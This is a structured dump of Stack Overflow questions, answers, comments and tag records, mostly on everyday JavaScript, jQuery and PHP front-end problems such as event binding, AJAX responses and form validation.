has body: Would something like this work? addThings: function (elemone, elemtwo, elemthree) { var self = this; $(elemone).each(function(i, el) { if (elemthree){ var values = $(elemtwo, this).text(); if ($(elemthree, this).text().indexOf('2') &gt;= 0){ self.list.push(values); } self.list.push(values); } else { var v = $(elemtwo, this).text(); var spaceIndex = v.indexOf(' '); var digit = v.substring(1, spaceIndex); var someValue = v.substring(spaceIndex, v.length - spaceIndex + 1); if (digit === '2'){ self.list.push(someValue); } } }); }, Then you can call addThings('#main','.bothvalues');
type: Answer
upvote count: 1
downvote count: 1

http://stackoverflow.com/q/25803878
answer count: 3
has answer: http://stackoverflow.com/a/25804339
tagged with: button
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25804070
has title: Disable buttons unless button is pressed
tagged with: php
possible better answer: http://stackoverflow.com/a/25804070
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25804339
score: 1
has comment: http://stackoverflow.com/comment/40362374
upvote count: 1
has comment: http://stackoverflow.com/comment/40362762
has answer: http://stackoverflow.com/a/25803935
type: Question
tagged with: javascript
has body: I would like to disable some buttons until a button is pressed. The first button (button1) generates a file. The rest of the buttons have something to do with that file (view, download, etc.) I tried disabling the buttons until the first button was pressed, but as I'm using a post request the page is refreshed when I hit button1 and everything is reset. I was thinking along the lines of grep-ing for the file and assigning that to a variable in PHP then disable/enable the buttons based off whether or not that file is there, but I'm unsure how to do the PHP/JS crossover. Any guidance would be appreciated.

http://stackoverflow.com/comment/40224372
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25728759
score: 0
has text: The problem is that this code is a part of a controller file for gecko. It doesnt have any related HTML file. And I need to read just one file in whose path can be hardcoded.

http://stackoverflow.com/a/25799329
type: Answer
score: 1
upvote count: 1
has body: Add video.load(); Your Code after changes: var video = document.getElementById('home_video'); video.addEventListener('click',function(){ video.load(); video.play(); },false);
downvote count: 0
answers question: http://stackoverflow.com/q/25799134

http://stackoverflow.com/a/25859030
type: Answer
answers question: http://stackoverflow.com/q/25858979
upvote count: 1
has comment: http://stackoverflow.com/comment/40463289
has comment: http://stackoverflow.com/comment/40463348
has body: No need to make it more complicated, in your PHP: $response = json_encode($result); echo json_encode($result); // this doesn't make sense Just loop them and push them inside normally. $result = array(); while($obResult = mysql_fetch_assoc($objQuery)){ $result[] = $obResult; } echo json_encode($result); exit; In your JS, loop the response first: success: function(response) { var results = ''; $.each(response, function(index, element){ // build the markup first, don't feed the response into .html() directly results += '&lt;p&gt;' + element.id1 + '&lt;/p&gt;'; results += '&lt;p&gt;' + element.name1 + '&lt;/p&gt;'; results += '&lt;p&gt;' + element.date + '&lt;/p&gt;'; }); $('#name').html(results); // after the markup is complete, then use this }, Note: Use the improved extension which is mysqli or use PDO instead.
downvote count: 0
score: 1

http://stackoverflow.com/a/25748853
upvote count: 1
has body: You could simply roll your own: function tmpl (markup, tmplvars, prefix) { for(var key in tmplvars) { if (tmplvars[key] instanceof Object) markup = tmpl(markup, tmplvars[key], prefix ? (prefix + "." + key) : key); else markup = markup.replace(new RegExp("\{\{" + (prefix? (prefix + "." + key) : key) + "\}\}", "gi"), tmplvars[key]); } return markup; } And use it like so: var MyTemplate = '&lt;label&gt;{{username.label}}&lt;input placeholder="{{username.placeholder}}"/&gt;&lt;/label&gt;'; var markup = tmpl(MyTemplate, {username:{label: "Username", placeholder: "Enter your username..."}}); jsfiddle
has comment: http://stackoverflow.com/comment/40262501
score: 1
has comment: http://stackoverflow.com/comment/40261828
accepted answer of: http://stackoverflow.com/q/25748566
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40261723
has comment: http://stackoverflow.com/comment/40262304
answers question: http://stackoverflow.com/q/25748566
type: Answer

http://stackoverflow.com/comment/40308055
type: Comment
comment on: http://stackoverflow.com/q/25751118
has text: Gotcha. Thanks for taking the time to respond. So instead I have push with this into an array, then can call that array for the lat/lng: `var oLat = this.position.lat().toFixed(4);` `oLatLng.push(oLat);`
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40349051
has text: Sounds like a network issue then. Either on your side or the server.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25775100

http://stackoverflow.com/comment/40437929
type: Comment
has text: One Facebook app for all platforms.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25843420

http://stackoverflow.com/a/26153011
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/25796171
has body: There is a method called sleep() from Leadfoot in Intern 2 that does the same thing as wait() in Intern 1. Leadfoot also provides a setFindTimeout() method which should set the time that intern continues to look for a element on the page if it not found when a find() method is first called. I ended up creating a function specifically for waiting for elements to appear on the page. And then using this inside of a pollUntil() to explicitly wait for an element to appear or disappear on the page. element_visible_by_query_selector: function(query) { return function(query) { elem = document.querySelector(query); if (!elem) { return null; } return (elem.offsetWidth &gt; 0 &amp;&amp; elem.offsetHeight &gt; 0) ? elem : null; } }, .then(pollUntil(util.element_visible_by_query_selector(), ['&lt;element&gt;'], 22000))
type: Answer
has comment: http://stackoverflow.com/comment/66767264
score: 2

http://stackoverflow.com/a/25823213
accepted answer of: http://stackoverflow.com/q/25820778
answers question: http://stackoverflow.com/q/25820778
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: It does makes sense. By changing an element the browser will have to verify if this change affects anything 'up the chain'. You can bypass this by making that object independent of the layout. You can make it positioned absolute or animate a transform propriety. In that case the animated element should not affect anything on the page. Yes, jQuery has that issue. If you want performantanimations you should use CSS or Native element.animate if available: http://updates.html5rocks.com/2014/05/Web-Animations---element-animate-is-now-in-Chrome-36
score: 1
upvote count: 1

http://stackoverflow.com/q/25820974
tagged with: pdf.js
has comment: http://stackoverflow.com/comment/40393785
has body: First time using pdf.js and I'm not much good at javascript. I'm trying to view a pdf file cross domain using pdf.js. I found one solution to face with cross domain : http://colonelpanic.net/2014/08/using-pdf-js-web-worker-cross-domain-cors/ and a sample example from https://github.com/mozilla/pdf.js/tree/master/examples/helloworld Here what I try : http://jsfiddle.net/4cn4hvq5/ , it shows only a canvas not pdf. I want something like http://mozilla.github.io/pdf.js/web/viewer.html but just to change from local pdf to other domain's pdf.
answer count: 0
type: UnansweredQuestion
score: 1
has title: Using PDF.js web worker cross domain
type: Question
has comment: http://stackoverflow.com/comment/40394423
upvote count: 2
downvote count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0

http://stackoverflow.com/comment/40351033
has text: If they're editable when you click them then what's the point of readonly in the first place? The question isn't very clear..
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25797587
score: 2

http://stackoverflow.com/q/25753060
has comment: http://stackoverflow.com/comment/40270068
has comment: http://stackoverflow.com/comment/40269822
has comment: http://stackoverflow.com/comment/40270289
accepted answer: http://stackoverflow.com/a/25753424
has comment: http://stackoverflow.com/comment/40270007
type: Question
tagged with: javascript
has title: Calling prototype method from another method
has comment: http://stackoverflow.com/comment/40270218
has comment: http://stackoverflow.com/comment/40269999
score: 0
answer count: 3
has body: I am trying to call a prototype method from a jquery event handler. I have the code like this: $('#' + this.ID + ' .selMake').on('change', this.getCarModel()); I get an error saying: Uncaught TypeError: Object [object global] has no method 'getCarModel' What am I doing wrong here?
linked to: http://stackoverflow.com/q/24173440
possible better answer: http://stackoverflow.com/a/25753073
tagged with: jquery
has answer: http://stackoverflow.com/a/25753073
has answer: http://stackoverflow.com/a/25753424
linked to: http://stackoverflow.com/q/1369004
has comment: http://stackoverflow.com/comment/40270168
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40270146
has answer: http://stackoverflow.com/a/25753168
tagged with: oop
linked to: http://stackoverflow.com/q/20279484

http://stackoverflow.com/a/25816502
has comment: http://stackoverflow.com/comment/40385734
has body: You can try to add one more check it like this: if (new ActiveXObject("Skype.Detection")) return true;
score: 0
has comment: http://stackoverflow.com/comment/40386111
has comment: http://stackoverflow.com/comment/40385786
type: Answer
has comment: http://stackoverflow.com/comment/40385766
answers question: http://stackoverflow.com/q/25816452
has comment: http://stackoverflow.com/comment/40385964
has comment: http://stackoverflow.com/comment/40386001
has comment: http://stackoverflow.com/comment/40386092

http://stackoverflow.com/q/25804798
linked to: http://stackoverflow.com/q/3153969
type: Question
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25804962
duplicate of: http://stackoverflow.com/q/3153969
score: -1
has body: I have object.name = 'foo'; var value = 'bar'; ... var params = { object.name : 1, value : value}; I want a result equivalent to var params = { foo : 1, value : bar }; what can I do?
upvote count: 0
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25804962
has title: How can I create a new object from existing values?
has comment: http://stackoverflow.com/comment/40363912
favorite count: 0
downvote count: 1

http://stackoverflow.com/comment/40477622
type: AnswerComment
has text: Have you really modified the bailout condition? Your fiddle still has 'while (x * x < 2 && y * y < 2 && iteration < max_iteration) {'
type: Comment
comment on: http://stackoverflow.com/a/25864276
score: 0

http://stackoverflow.com/a/25731089
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25727627
has body: Javascript is a bit of a weird bird when it comes to resolving this, often not doing what you would like. The only saving grace is that it's easy to explain and understand. A function's this value is set by how it is called. Suppose you have a value val with a method method. If method is called like val.method() then in that call to method then this is val. If you instead do var theMethod = val.method; theMethod(); then for that call, this is something else (the global context object, in browsers this is window). The solution fortunately is simple. There's a method on functions called bind that returns a new function that has the this immutably baked in. So var theMethod = val.method.bind(val); theMethod() has this bound to val. In the future for many cases we'll be able to use ES6 Arrow Notation to get this behavior baked in at function definition time, but for now, when passing a method around (e.g. to register an event handler) be sure to bake the this in explicitly with bind.
upvote count: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40259179
type: Answer
score: 3
answers question: http://stackoverflow.com/q/25727627

http://stackoverflow.com/q/25838189
has comment: http://stackoverflow.com/comment/40426000
has body: I can't make a maximum height limit to 300px of textarea which height varies. jsfiddle function init () { var text = document.getElementById('text'); function resize () { text.style.height = 'auto'; text.style.height = text.scrollHeight+'px'; } Thanks in advance.
tagged with: http://stackoverflow.com/tag/html
tagged with: css
downvote count: 6
accepted answer: http://stackoverflow.com/a/25838698
has title: Maximum height of textarea to 300px (Javascript)
type: AnsweredQuestion
score: -6
type: Question
has answer: http://stackoverflow.com/a/25838698
upvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0

http://stackoverflow.com/comment/40485462
type: QuestionComment
has text: Do you receive any errors in the console ?
score: 1
comment on: http://stackoverflow.com/q/25871226
type: Comment

active-directory
tags question: http://stackoverflow.com/q/25743966
tag name: active-directory
type: Tag

http://stackoverflow.com/q/25724526
possible better answer: http://stackoverflow.com/a/25724593
has comment: http://stackoverflow.com/comment/40216237
has comment: http://stackoverflow.com/comment/40216411
has answer: http://stackoverflow.com/a/25724593
has body: I have read this post and this post and others but i didnt get it to work in my code. here is the Fiddle for better see my code on live. this is my js //////first code to try//// if ($('input.chek').is(':checked')) { $('.check-addon').css('background-color','green'); } //////second code/////// var boxes = $('input[class="chek"]:checked'); $(boxes).each(function(){ $('.check-addon').css('background-color','green'); }); this is my html title1 title2 title3 i dont know what im doing wrong here . i couldnt get the background Green Of the checked box in my code. any help would much apreciated. EDIT even the answers down works in fiddle But i guess i have more problem here. if i write html code above Normal , the js code is fired and works But im using html code inside js function like that: function houses(){ var x =' title1 title2 title3 '; return x ; } so this function when i call it it works but when i want apply the above code on it its not working and not firing at all. this function is Out of the Dom handler. Fiddle here
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25724584
favorite count: 0
has answer: http://stackoverflow.com/a/25724639
linked to: http://stackoverflow.com/q/2660323
has title: Check which checkboxes is checked
linked to: http://stackoverflow.com/q/2204250
tagged with: http://stackoverflow.com/tag/html
tagged with: checkbox
answer count: 4
type: AnsweredQuestion
upvote count: 2
score: 0
downvote count: 2
has answer: http://stackoverflow.com/a/25724584
has answer: http://stackoverflow.com/a/25724601
type: Question
tagged with: javascript

http://stackoverflow.com/a/25797587
answers question: http://stackoverflow.com/q/25797532
accepted answer of: http://stackoverflow.com/q/25797532
type: Answer
has comment: http://stackoverflow.com/comment/40350985
has body: These two new lines should work: $('textarea').focus(function(){ $(this).addClass('active').siblings('.active').removeClass('active') $(this).attr('readonly', false); // make editable $(this).select(); // select the text });
score: 0
has comment: http://stackoverflow.com/comment/40351033
has comment: http://stackoverflow.com/comment/40350957
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40355054

http://stackoverflow.com/a/25817220
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25816087
answers question: http://stackoverflow.com/q/25816087
has body: With jQuery.sparkline there is no way to incrementally add points to the graph. Instead you have to redraw the entire graph with each update.
score: 0

http://stackoverflow.com/comment/40308128
type: Comment
type: QuestionComment
has text: I figured out what was causing the problem (see my answer below). Thanks for the pointers though - it was when I was starting to upgrade to Wordpress 4.0 that I noticed some errors about output having already started from wp-config.php.
comment on: http://stackoverflow.com/q/25754346
score: 0

http://stackoverflow.com/a/25746446
has body: You must check whether responseXML is null. That happens if the XML file the server returned has parsing errors. var xmlhttp = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.onreadystatechange = function () { var locs, i, urls = document.getElementById("urls"); if (xmlhttp.readyState === 4 &amp;&amp; xmlhttp.status === 200) { if (this.responseXML) { locs = this.responseXML.documentElement.getElementsByTagName("loc"); for (i = 0; i &lt; locs.length; i++) { urls.appendChild(document.createTextNode(locs[i].firstChild.nodeValue)); urls.appendChild(document.createElement("br")); } // What is that line? I've taken it from your code, but it can't be right. urls.innerHTML = table; } else { // responseXML is null if the response has XML parsing errors alert("The server did not send a proper sitemap file."); } } }; xmlhttp.open("GET", "sitemap.xml"); xmlhttp.send(); Also, as shown above, you should really never use synchronous requests. The whole point of having an event-handing callback function like onreadystatechange is to be able to make asynchronous requests. There also is a big red warning on the MDN about that: https://developer.mozilla.org/en/docs/Web/API/XMLHttpRequest#onreadystatechange Lessons to learn: Never use objects without a prior check if they are valid. Never use synchronous HTTP requests from JavaScript.
answers question: http://stackoverflow.com/q/25745034
score: 0
type: Answer

http://stackoverflow.com/comment/40259064
score: 1
has text: I have resolved the issues for .open() and .openConfirm(). If I create varaibles using a javascript object then things wire up correctly. If its a stand alone variable like $scope.accountNum then it does not wire up using ng-model.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25716493

http://stackoverflow.com/q/25745634
favorite count: 0
has answer: http://stackoverflow.com/a/25746011
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
tagged with: image-enlarge
tagged with: onclick
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40255667
has title: Javascript onclick event firing for id but not for class
has comment: http://stackoverflow.com/comment/40255669
has comment: http://stackoverflow.com/comment/40257141
type: Question
tagged with: javascript
answer count: 2
has body: I'm fairly new to Javascript, and am trying to get an 'on click enlarge' kind of effect, where clicking on the enlarged image reduces it again. The enlarging happens by replacing the thumbnail by the original image. I also want to get a slideshow using images from my database later on. In order to do that, I made a test where I replace the id which indicates enlarging is possible by a class and I also use a global variable so that I can keep a track of the url I'm using. Not sure this is the best practice but I haven't found a better solution. The first part works fine, my image gets changed no problem, values are also updated according to the 'alert' statement. However, the second part, the one with the class never triggers. What am I doing wrong (apart from the very likely numerous bad practices) ? If instead of changing the class I change the id directly (replacing .image_enlarged by #image_enlarged, etc.), it seems to call the first function, the one with the id, yet outputs the updated id, which is rather confusing. var old_url = ""; $(function(){ $('#imageid').on('click', function () { if($(this).attr('class')!='image_enlarged'){ old_url = $(this).attr('src'); var new_url = removeURLPart($(this).attr('src')); $(this).attr('src',new_url); //image does enlarge $(this).attr('class',"image_enlarged"); $(this).attr('id',""); alert($(this).attr('class')); //returns updated class } }); $('.image_enlarged').on('click', function (){ alert(1); //never triggered $(this).attr('src',old_url); $(this).attr('class',""); $(this).attr('id',"imageid"); }); }); function removeURLPart(e){ var tmp = e; var tmp1 = tmp.replace('thumbnails/thumbnails_small/',''); var tmp2 = tmp1.replace('thumbnails/thumbnails_medium/',''); var tmp3 = tmp2.replace('thumbnails/thumbnails_large/',''); return tmp3; } As for the html, it's really simple : Test + Price thing
upvote count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25745718

http://stackoverflow.com/a/25741590
has body: Please, consider this snippet: $('.gallery-item').on('click', function(e) { $('#showcontent').empty().append($(this).find('.show-gallery-content').contents().clone()); });
type: Answer
accepted answer of: http://stackoverflow.com/q/25740400
score: 0
has comment: http://stackoverflow.com/comment/40248376
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40248727
answers question: http://stackoverflow.com/q/25740400

http://stackoverflow.com/comment/40216138
comment on: http://stackoverflow.com/q/25724428
has text: you will need to learn when each language is executed (php first, on the server, javascript after, in the client)
type: QuestionComment
score: 5
type: Comment

http://stackoverflow.com/comment/40251802
score: 0
comment on: http://stackoverflow.com/q/25743430
type: Comment
type: QuestionComment
has text: Shouldn't be since the terminator character for the sequence is ';', outside the string. You'll have to play around with greedy versus non greedy queries

http://stackoverflow.com/comment/40322013
comment on: http://stackoverflow.com/a/25780032
score: 0
type: AnswerComment
type: Comment
has text: same code. it's the code you get from google when you register a site to analytics.

http://stackoverflow.com/comment/40261744
type: Comment
comment on: http://stackoverflow.com/a/25748894
has text: Ah my bad, sorry James, your answer should definitely suffice then, upvoted.
score: 0
type: AnswerComment

webforms
tags question: http://stackoverflow.com/q/25816881
tags question: http://stackoverflow.com/q/25747437
type: Tag
tag name: webforms

dc.js
tag name: dc.js
tags question: http://stackoverflow.com/q/25837734
type: Tag
tags question: http://stackoverflow.com/q/25850425

http://stackoverflow.com/comment/40253950
score: 0
type: Comment
type: QuestionComment
has text: Check the docs for boths methods https://developer.mozilla.org/en-US/docs/Web/API/document.importNode https://developer.mozilla.org/en-US/docs/Web/API/Node.appendChild
comment on: http://stackoverflow.com/q/25743324

http://stackoverflow.com/comment/40259798
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25746702
has text: As I incorporate jQuery into my own code, I think I would catch any instances of IDs being equal to tag names during testing. However, this might bite my replacement when I retire, so it is certainly a valid point.
type: AnswerComment

http://stackoverflow.com/q/25780379
score: 0
has body: i have 3 input file, i wanna make a javascript validation for 3 input file in one submit button form event onSubmit="" &lt;form action="step2_crud_dev.php" method="post" enctype="multipart/form-data" class="form-horizontal" role="form" id="dataPribadi" &gt; &lt;div&gt; &lt;input type="file" name="fUpload1" id="fileUpload1"/&gt; &lt;input type="file" name="fUpload2" id="fileUpload2"/&gt; &lt;input type="file" name="fUpload3" id="fileUpload3"/&gt; &lt;/div&gt; &lt;div&gt; &lt;input type="submit" name="upload" value="upload" /&gt; &lt;/div&gt; &lt;/form&gt; EDITED CODE new code that working but, still proccess saving $(document).ready(function(){ $('#tbl_next').click(function(){ //alert('hello'); $('input[type="file"]').each(function(){ var thisFile = $(this); var fileSize = thisFile[0].files[0].size; var fileType = thisFile[0].files[0].type; //alert(fileSize); if(fileSize&gt;1048576){ //do something if file size more than 1 mb (1048576) alert(fileSize +" bites\n ukuran gambar terlalu besar"); return false; }else{ switch(fileType){ case 'image/png': case 'image/gif': case 'image/jpeg': case 'image/pjpeg': alert("Acceptable image file!"); break; default: alert('Unsupported File!'); return false; } } }); $('form#dataPribadi').submit(); }); });
has comment: http://stackoverflow.com/comment/40320585
has comment: http://stackoverflow.com/comment/40319438
answer count: 1
has comment: http://stackoverflow.com/comment/40319288
has answer: http://stackoverflow.com/a/25780539
has comment: http://stackoverflow.com/comment/115646368
tagged with: input
upvote count: 1
downvote count: 1
has title: Validate file size and type in a multiple input
linked to: http://stackoverflow.com/q/64663160
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40319388
tagged with: image
accepted answer: http://stackoverflow.com/a/25780539
type: Question
tagged with: validation
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40319286
has comment: http://stackoverflow.com/comment/40322841

http://stackoverflow.com/comment/40355947
comment on: http://stackoverflow.com/a/25785864
type: AnswerComment
score: 0
type: Comment
has text: Good work but Still there is some issue when you click on some other tab say item1, now click next , the contents of previous clicked tab is visible, that should not happen. Check your output

http://stackoverflow.com/q/25799728
answer count: 4
has title: JSLint: Expected 'else { if' and instead saw 'else if
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40355292
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/40355361
has answer: http://stackoverflow.com/a/25800269
possible better answer: http://stackoverflow.com/a/25799753
score: 4
has answer: http://stackoverflow.com/a/25799753
has comment: http://stackoverflow.com/comment/40355155
has answer: http://stackoverflow.com/a/25799783
upvote count: 4
has answer: http://stackoverflow.com/a/25800013
tagged with: jslint
accepted answer: http://stackoverflow.com/a/25800269
tagged with: javascript
has body: I am trying to validate a prompt in a JavaScript main function. Basically it asks for a number between 10 and 20. If the value does not fall within that range or is not a number, it should give an error message and ask again. If 0 is entered or the cancel button is pressed it should stop the routine completely. I know this is pretty bad code, but it works for me perfectly. The problem I am having is when I try to validate it in JSLint I get the following error: Expected 'else { if' and instead saw 'else if'. } else if (amtEntered &gt;= 10 &amp;&amp; amtEntered &lt;=20) { If I uncomment the return 0 statement, the error is gone. var amt; var inputError = false; do { if (inputError) { alert ("You have entered an error. \n Please try again."); } amt = prompt("Enter amount between 10 and 20: ",""); amt = Number(amt); if (isNaN(amt)) { inputError = true; } else if (amt === null || amt === 0) { // If amt is blank or cancel button pressed then exit loop and exit function. inputError = false; return 0; } else if (amt &gt;= 10 &amp;&amp; amt &lt;=20) { inputError = false; } else { inputError = true; } } while (inputError); Would appreciate any tips or recommendations on fixing this piece of code.

http://stackoverflow.com/a/25788960
score: 1
has comment: http://stackoverflow.com/comment/40334576
has comment: http://stackoverflow.com/comment/40334713
has body: See http://jsfiddle.net/dM7Vd/16/ Looks like you just need to add $('#object-full-description').slideToggle('slow'); at the end of your function. You're hiding it but not re-showing it.
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25788668
has comment: http://stackoverflow.com/comment/40335708
has comment: http://stackoverflow.com/comment/40335225
type: Answer
has comment: http://stackoverflow.com/comment/40335393

http://stackoverflow.com/comment/40370308
comment on: http://stackoverflow.com/a/25808629
type: Comment
score: 1
type: AnswerComment
has text: And just to mention: if you want to be able to deactivate button clicking again on it, you can use `toggleClass` instead of `addClass`.

http://stackoverflow.com/comment/40293877
type: Comment
has text: no need for additional in append. it's not what OP wants. :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25766617

http://stackoverflow.com/q/25791631
has comment: http://stackoverflow.com/comment/40342948
answer count: 0
has body: I have assigned a jquery selector to a variable. Now I am trying to append the ":checked" filter to that. Is there anyway where I can append to my variable "options"? Thanks! var options= $('input[class*=menuoptions_limit_options_for{$cat_id}]'); options.on('click', function(){ var \$checked_items_maxed = options.(':checked').length &lt;= {$max_checkbox_allowed};
has comment: http://stackoverflow.com/comment/40340239
type: Question
has title: How to append a filter to a variable?
tagged with: javascript
tagged with: jquery
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40339372

http://stackoverflow.com/q/25774383
score: -2
has body: How should I write an if statement which is true only for a given range e.g. return true for x if (3 < x < 9) ? if ((myNum > 3) || (myNum < 9)) { document.getElementById("div").innerHTML = " Hello World "; }
accepted answer: http://stackoverflow.com/a/25774429
possible better answer: http://stackoverflow.com/a/25774406
has answer: http://stackoverflow.com/a/25774406
answer count: 2
linked to: http://stackoverflow.com/q/14718561
has comment: http://stackoverflow.com/comment/40308521
tagged with: if-statement
has comment: http://stackoverflow.com/comment/40311072
tagged with: javascript
downvote count: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40308723
has title: Write conditional statement for a range (3 < x < 9)
favorite count: 0
has comment: http://stackoverflow.com/comment/40308637
has answer: http://stackoverflow.com/a/25774429
type: Question
upvote count: 2

http://stackoverflow.com/comment/40274527
score: 0
has text: First - You can try upgrade to wp 4.0. second - try also another browser / machine . A fresh install without plugins / themes / mu-plugins will not have that issue . if you have it on a clean install with no plugins and no theme modifications- then reinstall.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25754346

http://stackoverflow.com/q/25783050
possible better answer: http://stackoverflow.com/a/25783157
upvote count: 0
tagged with: javascript
answer count: 3
has answer: http://stackoverflow.com/a/25783102
tagged with: regex
favorite count: 0
has answer: http://stackoverflow.com/a/25783352
tagged with: time
score: -3
tagged with: match
has title: Javascript match Time frome Time String
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25783102
has answer: http://stackoverflow.com/a/25783157
has comment: http://stackoverflow.com/comment/40323986
downvote count: 3
has body: I have date like "HH:MM:SS CEST" and I want to match only "HH:MM:SS" without CEST or other string there.
type: Question

http://stackoverflow.com/comment/40435140
has text: Thank chriscoyier. And just remember, if you have a css related question ... css-tricks.com may have the answer. ;)
type: Comment
comment on: http://stackoverflow.com/a/25843512
score: 1
type: AnswerComment

http://stackoverflow.com/comment/104987472
type: AnswerComment
score: 0
type: Comment
has text: Thank you Shamasis. This solution solved my problem in Ionic 4 + Angular 8 project. I just added this inside my app.component.ts `import { Component } from '@angular/core';` `declare var eve;` `@Component({...})` `export class AppComponent {` ` constructor( ) { this.initializeApp(); }` ` initializeApp() {` ` this.platform.ready().then(() => {` ` this.statusBar.styleDefault();` ` this.splashScreen.hide();` ` eve.on('raphael.new', function() {` ` this.raphael._url = this.raphael._g.win.location.href.replace(/#.*?$/, '');` ` });});}}`
comment on: http://stackoverflow.com/a/25713970

http://stackoverflow.com/comment/40485954
score: 0
type: AnswerComment
has text: Yeah, but, for example, this pdf shows the first page before the rest are downloaded: http://www.nbb.be/DOC/BA/PDF7MB/2010/201009400082_1.PDF
type: Comment
comment on: http://stackoverflow.com/a/25871657

http://stackoverflow.com/comment/40405575
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25827527
score: 0
has text: Can you make a jsfiddle that demonstrates the problem?

http://stackoverflow.com/a/25755792
has comment: http://stackoverflow.com/comment/40275033
has comment: http://stackoverflow.com/comment/40275001
has comment: http://stackoverflow.com/comment/40275011
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40275058
accepted answer of: http://stackoverflow.com/q/25755717
has comment: http://stackoverflow.com/comment/40275066
answers question: http://stackoverflow.com/q/25755717
has comment: http://stackoverflow.com/comment/40296016
type: Answer
downvote count: 1
has body: I'm not sure why you want to do this with JS when it can be done with CSS but here you go: CSS .two {display:none;} JS $(".a").hover(function(){ $(this).find(".two").toggle(); }); FIDDLE // EDIT This was my original answer. I changed it to shorten the code but I will repost it: $(".a").hover(function(){ $(this).find(".two").css({"visibility":"visible"}); }, function(){ $(this).find(".two").css({"visibility":"hidden"}); });
has comment: http://stackoverflow.com/comment/40274915
has comment: http://stackoverflow.com/comment/40275296
has comment: http://stackoverflow.com/comment/40275050
upvote count: 5
score: 4

http://stackoverflow.com/comment/40477224
comment on: http://stackoverflow.com/q/25866666
score: 0
type: Comment
type: QuestionComment
has text: Is it intended to call getEventsData after all requests?

http://stackoverflow.com/comment/40402732
comment on: http://stackoverflow.com/a/25825743
score: 0
type: Comment
has text: Person who solved my curiosity about js problem was zian. But thanks. Your answer was very helpful to me.It was a better way to solve the problem,
type: AnswerComment

http://stackoverflow.com/a/25715660
score: 1
accepted answer of: http://stackoverflow.com/q/25714074
answers question: http://stackoverflow.com/q/25714074
type: AcceptedAnswer
downvote count: 0
has body: Instead of this.$el.html, use this.$el.append If you are lucky, that is all you will need to change. Otherwise, if you are looking for more control and more functionality in your templates, you will have to get more fancy. For that, ToDoMVC for Backbone is a great example.
type: Answer
upvote count: 1

http://stackoverflow.com/comment/40342211
type: Comment
has text: @KevInSol hey! no, 'key' is not a reserved word, you could do "(k, headline) in newsHeadlinesObj)" and then the key would be "k" and your headline would be "headline"... You could also do: "(myKey, item) in newsHeadlinesObj)" and then the key would be "myKey" and your headline would be "item".
comment on: http://stackoverflow.com/a/25792450
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40577800
type: Comment
comment on: http://stackoverflow.com/a/25784816
has text: http://stackoverflow.com/questions/25912331/how-to-manage-ajax-code-to-display-image-and-video-using-switch-case-on-html
score: 0
type: AnswerComment

http://stackoverflow.com/comment/129653562
comment on: http://stackoverflow.com/a/73378653
type: Comment
score: 0
has text: That is interesting to know momentjs however is a legacy project and they encourage everyone to switch to more modern libraries instead: https://momentjs.com/docs/#/-project-status/
type: AnswerComment

http://stackoverflow.com/q/25814609
tagged with: php
type: Question
has comment: http://stackoverflow.com/comment/40382024
has comment: http://stackoverflow.com/comment/40382209
has body: Hi I have problems to figure out how to copy select value data from one form to another form. I need a copy javascript for this I guess. Form1 Form2 Add Selected Add To List All Blog Dj
has title: Copy select value data form one form to another without button in form1
has comment: http://stackoverflow.com/comment/40381975
tagged with: javascript
has comment: http://stackoverflow.com/comment/40382467
has comment: http://stackoverflow.com/comment/40447033
has comment: http://stackoverflow.com/comment/40382395
has comment: http://stackoverflow.com/comment/40382140
tagged with: http://stackoverflow.com/tag/html
answer count: 0
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40382049

http://stackoverflow.com/comment/40415867
score: 0
has text: What are you trying to do exactly? Why you need to use the mouseup on the document?
type: QuestionComment
comment on: http://stackoverflow.com/q/25833174
type: Comment

http://stackoverflow.com/q/25755215
linked to: http://stackoverflow.com/q/14049480
has answer: http://stackoverflow.com/a/25755272
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25755263
